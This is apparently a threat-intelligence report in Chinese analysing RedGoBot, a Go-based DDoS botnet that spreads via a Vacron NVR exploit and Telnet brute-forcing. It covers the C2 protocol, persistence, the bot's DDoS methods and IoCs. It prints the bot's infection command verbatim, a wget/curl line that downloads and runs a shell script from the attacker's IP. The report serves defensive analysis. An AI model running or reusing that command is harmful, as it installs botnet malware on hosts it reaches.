概述
2022 年 11 月底,奇安信威胁情报中心监测到一起未知家族恶意样本利用 Vacron NVR RCE 漏洞传播的事件。经过我们的详细分析,这一系列样本不属于已知的恶意家族。恶意样本运行起来会打印 "GoBot" 字符串,同时参考作者在其资产网站中的输出"@redbot on top",我们把它命名为 RedGoBot。
RedGoBot 核心样本由 Go 语言编写,当前样本由 Go 1.18.8 编译,目前支持 11 种 DDoS 攻击方式,并且样本内部集成了暴破 Telnet 服务来传播的能力。
根据我们的回溯分析,ReGoBot 历史上有过 3 波传播,样本层面也有过两次明显的变动。虽然目前为止 RedGoBot 的传播量还不是很大,但我们已经看到它在尝试下发 DDoS 攻击指令来测试攻击效果。
RedGoBot 某种程度上会误杀失陷主机上的正常文件及进程,带来严重后果,因此我们建议检查是否存在 Telnet 弱口令来防御 RedGoBot 的入侵。
近期我们对 RedGoBot 的攻击活动进行了监控,监测到其对 " tls.mrrage.xyz" 发起过一次 HTTP GET 方式的攻击测试:

通过奇安信威胁情报平台查询其首个 C2 的解析记录,作者在 9 月完成样本编写后进行过一次扩散,之后恢复平静,近期又开始活跃:

另一个 C2 近期的扩散数据概况:

样本关键行为分析
RedGoBot 在传播的时候,会在失陷主机上执行一个恶意 Shell 脚本文件,Shell 脚本文件中用 wget/curl/busybox 三种方式依次下载 RedGoBot 各种 CPU 架构的二进制文件,保存为 Bins_Bot_hicore_[CPU_ARCH] 形式的文件名并尝试执行。RedGoBot 二进制样本支持的 CPU 架构如下:
- IBM S/390 
- PPC64 
- PPC64-LE 
- MIPS 
- MIPS-LE 
- ARM 
- ARM64 
- x86-64 
本文以 x86-64 样本为例进行分析,样本信息:
| 文件名 | 文件大小 | 文件MD5 | 
| Bins_Bot_hicore_amd64 | 8980865 bytes | FD1FACF3A3FCA0FD6108BBBE98F8D5FD | 
日志记录
样本将运行日志发送给 C2 服务器,此操作将会消耗大量 C2 服务器资源,因此猜测该僵尸网络还处于调试状态:

删除本地文件
RedGoBot 样本还会 Kill 掉失陷主机上的“可疑竞争对手”的进程,并删除对应的文件及文件夹,此操作很可能会误杀失陷主机上的进程,删除掉很多正常文件,给失陷主机带来严重危害。
RedGoBot 要 Kill 的进程,是针对以下目标目录起来的进程,并避开白名单中的目录或文件名。
Kill 进程、删除进程文件所在的目标目录:
- /tmp/ 
- /var/run/ 
- /mnt/ 
- /root/ 
除此之外,RedGoBot 还把以下目录和文件列入”白名单“,不会删除,不会 Kill 对应的进程:
- /var/run/lock/ 
- /var/run/shm/ 
- Bins_Bot_hicore* 
- sshd 
- resolv.conf 


持久化
RedGoBot 会创建一个恶意服务实现持久化,服务详情如下:

标志字符串
打印字符串 "GoBot\\n":

传播方式
RedGoBot 用 Go 语言实现了类似 Gafgyt 家族的 Telnet 暴破传播机制,内置 64 组弱口令用来实施暴破。

一旦暴破成功,将会在失陷主机上执行以下恶意命令:
wget http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh; curl -k -L --output universal.sh http://185.246.221.220/universal.sh; chmod 777 universal.sh; ./universal.sh;\\n
C2 控制协议
上线
首先,请求 DNS 解析 C2 域名 "peniseater.click":

如果解析失败则直接使用硬编码IP作为C2:

上线包为 "GoBot V1:amd64\\n":
通信协议类似 Gafgyt,使用明文 ASCII 字符串通信,切割空格进行字段分割:

指令解析
RedGoBot 目前支持 3 种指令:
- kill-bot: 退出运行 
- exec: 执行恶意命令 
- DDoS Attack: 发起 DDoS 攻击 
当 RedGoBot 收到 "kill-bot" 指令时,退出 Bot 进程:

当 RedGoBot 收到 "exec" 指令,则会执行 Payload 提供的恶意命令:

当 RedGoBot 收到以下指令,则会发起对应的 DDoS 攻击:
| Name | Description | 
| HttpPost_Send | HTTP Flood (POST) | 
| HttpGet_Send | HTTP Flood (GET) | 
| Icmp_Send | ICMP Flood | 
| TCPPsh_Send | TCP Flood (spurious PUSH) | 
| TCPSyn_Send | TCP SYN Flood | 
| TCPAck_Send | TCP ACK Flood | 
| TCPHandshake_Send | TCP Flood | 
| TCPHold_Send | TCP Flood | 
| UDP_Send | UDP Flood | 
| VSE_Send | VSE Flood | 
| OpenVpn_Send | Openvpn UDP Flood | 
扩展分析
样本更新历史
我们通过在样本库中回溯关联,发现该僵尸网络的样本于今年九月开始更新,初始版本中样本并未基于 Golang Interface 实现攻击方式的多态特性,而是根据攻击指令,直接调用对应的 DDoS 方法:

虽然作者在上线包中将此版本同样定义为 V1,但是我们将此初始版本定义为 V1.0:

作者于几天后的版本中就加入了基于 Interface 实现的多态特性,我们将此版本定义为 V1.1:

可疑的其他相关僵尸网络
我们对攻击者的资产进行了关联分析,发现作者除了 RedGoBot 僵尸网络以外,疑似还拥有一个 Moobot 僵尸网络,该 Moobot 僵尸网络的部分信息如下:
C2 = "cdn.cattoloveslily.wtf:38241"
MD5 = 0C817D839E014CEB4350E6989AC85B08
ITW_IP = 179.43.175.5
通过TI查询 C2 的解析记录,可以发现该 Moobot 僵尸网络开始传播时间与 RedGoBot 的新样本基本一致,从今年 11 月份开始进行扩张,当前规模同样较小:

IoCs
MD5:
C1492F719A4553BB4280B5A8C8C39095
31BE883A1346F656DF5061BC784060A7
3C404053296EFD41DAE11A0A39BE3808
FD1FACF3A3FCA0FD6108BBBE98F8D5FD
FAD7F1073FE267FCA24927B626AFAA1F
E6327957732150FC03594E4F28933FA4
7E6261537E3499083BB5A519212B955C
CA4A1FCCD1E13A8AC5FEFB57C32F1548
CD56BEA395C994290EBC71CC1482DFE0
AAEE43E63D5A3ABD70FFA774A16C816E
C2:
RedGoBot:
185.246.221.220:6001
peniseater.click:6001
znet.whatareyousearchingfor.net:6001
185.213.26.101:6001
Moobot:
cdn.cattoloveslily.wtf:38241
声明:本文来自奇安信威胁情报中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。
